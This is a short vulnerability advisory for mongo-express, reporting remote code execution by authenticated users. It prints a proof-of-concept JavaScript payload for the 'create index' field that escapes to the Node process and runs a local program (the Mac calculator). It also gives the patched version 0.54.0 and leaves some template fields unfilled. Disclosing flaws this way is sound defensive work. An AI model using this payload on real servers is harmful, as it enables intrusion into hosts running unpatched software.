Impact

Remote code execution on the host machine by any authenticated user.

Proof Of Concept

Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:

javascript this.constructor.constructor("return process")().mainModule.require('childprocess').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

Patches Users should upgrade to version 0.54.0

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

For more information If you have any questions or comments about this advisory: Open an issue in example link to repo Email us at example email address

Thanks

@JLLeitschuh for finding and reporting this vulnerability

This vulnerability has been exploited in the wild.